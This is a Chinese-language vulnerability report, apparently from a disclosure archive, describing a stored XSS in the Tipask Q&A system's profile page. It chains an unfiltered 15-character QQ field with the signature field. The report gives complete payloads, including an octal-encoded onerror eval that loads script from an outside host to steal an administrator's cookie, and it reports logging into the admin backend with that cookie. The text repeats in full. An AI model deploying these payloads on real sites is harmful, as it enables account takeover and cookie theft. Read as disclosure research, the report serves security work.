### 简要描述: tipask问答系统某处存储型xss(绕过限制) ### 详细说明: 编辑个人资料时,QQ处没有过滤。 http://127.0.0.1/tipask/tipask/?user/profile.html 输入 "><h1>xx</h1> [<img src="https://images.seebug.org/upload/201412/202311518450a9432e0761f68cde6bf5086a7560.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202311518450a9432e0761f68cde6bf5086a7560.png) 提交后自己查看 [<img src="https://images.seebug.org/upload/201412/202312161cb0ab0fa08ec6f034bff2e419f50eed.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202312161cb0ab0fa08ec6f034bff2e419f50eed.png) 别人查看 [<img src="https://images.seebug.org/upload/201412/20231226aa63f86226b61bfed29812199bde5ae9.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231226aa63f86226b61bfed29812199bde5ae9.png) 但是QQ处长度有限制,导致我们不能形成xss。 [<img src="https://images.seebug.org/upload/201412/202312448eab58a264aec4a27ad48a1ec6ed0f8d.png"...
### 简要描述: tipask问答系统某处存储型xss(绕过限制) ### 详细说明: 编辑个人资料时,QQ处没有过滤。 http://127.0.0.1/tipask/tipask/?user/profile.html 输入 "><h1>xx</h1> [<img src="https://images.seebug.org/upload/201412/202311518450a9432e0761f68cde6bf5086a7560.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202311518450a9432e0761f68cde6bf5086a7560.png) 提交后自己查看 [<img src="https://images.seebug.org/upload/201412/202312161cb0ab0fa08ec6f034bff2e419f50eed.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202312161cb0ab0fa08ec6f034bff2e419f50eed.png) 别人查看 [<img src="https://images.seebug.org/upload/201412/20231226aa63f86226b61bfed29812199bde5ae9.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231226aa63f86226b61bfed29812199bde5ae9.png) 但是QQ处长度有限制,导致我们不能形成xss。 [<img src="https://images.seebug.org/upload/201412/202312448eab58a264aec4a27ad48a1ec6ed0f8d.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202312448eab58a264aec4a27ad48a1ec6ed0f8d.png) 只能长15个字符,不够构造xss 但是我发现用户可以编辑签名,长度在200字符以内,但是该处有限制。 我们先看看输出。 可以看到 [<img src="https://images.seebug.org/upload/201412/20231305c2f1b731b2b6fdc2e059b33f30d2d9d3.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231305c2f1b731b2b6fdc2e059b33f30d2d9d3.png) 尖括号被过滤了。 但是结合前面那个QQ处的bug,我们可以做出很多猥琐的事情~ QQ处输入 ``` 1"><img src=' ``` 这样就能构造后面所有的字符串都被包含在单引号里面了。 然后构造签名处输入为 ``` ' onerror=alert(1);// ``` 截图看效果。 查看用户的个人资料,访问http://127.0.0.1/tipask/tipask/?u-5.html [<img src="https://images.seebug.org/upload/201412/202313590ebedef9d8c29644357abaeb21f30702.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202313590ebedef9d8c29644357abaeb21f30702.png) 看一下源代码,经过浏览器渲染后的效果。 [<img src="https://images.seebug.org/upload/201412/20231429719c9bf1df674945c2a77af67d984a5d.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231429719c9bf1df674945c2a77af67d984a5d.png) 光是弹出对话框还不够,我们还得能够打到用户的cookie什么的,包含外部js。 一开始签名处使用的payload如下 ``` ' onerror=eval('var b=document.createElement("script");b.src="http://x58pw.sinaapp.com/WZ5U57";(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);');// ``` [<img src="https://images.seebug.org/upload/201412/20231508d957816ff32207ef8f3b4874a6991e43.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231508d957816ff32207ef8f3b4874a6991e43.png) onerror后面自动加上了双引号,并且我输入的双引号都被实体化成了" ,导致整个payload的引号混乱,根本不能完整闭合。所以说payload中不能出现双引号。 于是想到js代码中允许用8字符串的进制编码 于是 "-->\42 空格-->\40 最终构造出payload ' ``` onerror=eval('var\40b=document.createElement(\42script\42);b.src=\42http://x58pw.sinaapp.com/WZ5U57\42;(document.getElementsByTagName(\42HEAD\42)[0]||document.body).appendChild(b);');// ``` 不使用onerror='alert(1)'这种格式的原因是还存在着小尾巴</span></i 如果不放在js里面并且用//注释,也会导致整个payload不能运行。 下面放测试截图,修改用户test的个人资料。 QQ处输入 ``` 1"><img src=' ``` 签名处输入 ``` ' onerror=eval('var\40b=document.createElement(\42script\42);b.src=\42http://x58pw.sinaapp.com/WZ5U57\42;(document.getElementsByTagName(\42HEAD\42)[0]||document.body).appendChild(b);');// ``` 然后使用admin账户登录查看test的个人资料。 [<img src="https://images.seebug.org/upload/201412/20231631767edd5e697352cac23cefa1e2a8d283.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231631767edd5e697352cac23cefa1e2a8d283.png) 成功拿到cookie,使用该cookie可以登陆管理员后台。 剩下的都懂。 ### 漏洞证明: 编辑个人资料时,QQ处没有过滤。 http://127.0.0.1/tipask/tipask/?user/profile.html 输入 "><h1>xx</h1> [<img src="https://images.seebug.org/upload/201412/202311518450a9432e0761f68cde6bf5086a7560.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202311518450a9432e0761f68cde6bf5086a7560.png) 提交后自己查看 [<img src="https://images.seebug.org/upload/201412/202312161cb0ab0fa08ec6f034bff2e419f50eed.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202312161cb0ab0fa08ec6f034bff2e419f50eed.png) 别人查看 [<img src="https://images.seebug.org/upload/201412/20231226aa63f86226b61bfed29812199bde5ae9.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231226aa63f86226b61bfed29812199bde5ae9.png) 但是QQ处长度有限制,导致我们不能形成xss。 [<img src="https://images.seebug.org/upload/201412/202312448eab58a264aec4a27ad48a1ec6ed0f8d.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202312448eab58a264aec4a27ad48a1ec6ed0f8d.png) 只能长15个字符,不够构造xss 但是我发现用户可以编辑签名,长度在200字符以内,但是该处有限制。 我们先看看输出。 可以看到 [<img src="https://images.seebug.org/upload/201412/20231305c2f1b731b2b6fdc2e059b33f30d2d9d3.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231305c2f1b731b2b6fdc2e059b33f30d2d9d3.png) 尖括号被过滤了。 但是结合前面那个QQ处的bug,我们可以做出很多猥琐的事情~ QQ处输入 ``` 1"><img src=' ``` 这样就能构造后面所有的字符串都被包含在单引号里面了。 然后构造签名处输入为 ``` ' onerror=alert(1);// ``` 截图看效果。 查看用户的个人资料,访问http://127.0.0.1/tipask/tipask/?u-5.html [<img src="https://images.seebug.org/upload/201412/202313590ebedef9d8c29644357abaeb21f30702.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/202313590ebedef9d8c29644357abaeb21f30702.png) 看一下源代码,经过浏览器渲染后的效果。 [<img src="https://images.seebug.org/upload/201412/20231429719c9bf1df674945c2a77af67d984a5d.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231429719c9bf1df674945c2a77af67d984a5d.png) 光是弹出对话框还不够,我们还得能够打到用户的cookie什么的,包含外部js。 一开始签名处使用的payload如下 ``` ' onerror=eval('var b=document.createElement("script");b.src="http://x58pw.sinaapp.com/WZ5U57";(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);');// ``` [<img src="https://images.seebug.org/upload/201412/20231508d957816ff32207ef8f3b4874a6991e43.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231508d957816ff32207ef8f3b4874a6991e43.png) onerror后面自动加上了双引号,并且我输入的双引号都被实体化成了" ,导致整个payload的引号混乱,根本不能完整闭合。所以说payload中不能出现双引号。 于是想到js代码中允许用8字符串的进制编码 于是 "-->\42 空格-->\40 最终构造出payload ' ``` onerror=eval('var\40b=document.createElement(\42script\42);b.src=\42http://x58pw.sinaapp.com/WZ5U57\42;(document.getElementsByTagName(\42HEAD\42)[0]||document.body).appendChild(b);');// ``` 不使用onerror='alert(1)'这种格式的原因是还存在着小尾巴</span></i 如果不放在js里面并且用//注释,也会导致整个payload不能运行。 下面放测试截图,修改用户test的个人资料。 QQ处输入 ``` 1"><img src=' ``` 签名处输入 ``` ' onerror=eval('var\40b=document.createElement(\42script\42);b.src=\42http://x58pw.sinaapp.com/WZ5U57\42;(document.getElementsByTagName(\42HEAD\42)[0]||document.body).appendChild(b);');// ``` 然后使用admin账户登录查看test的个人资料。 [<img src="https://images.seebug.org/upload/201412/20231631767edd5e697352cac23cefa1e2a8d283.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/20231631767edd5e697352cac23cefa1e2a8d283.png) 成功拿到cookie,使用该cookie可以登陆管理员后台。 剩下的都懂。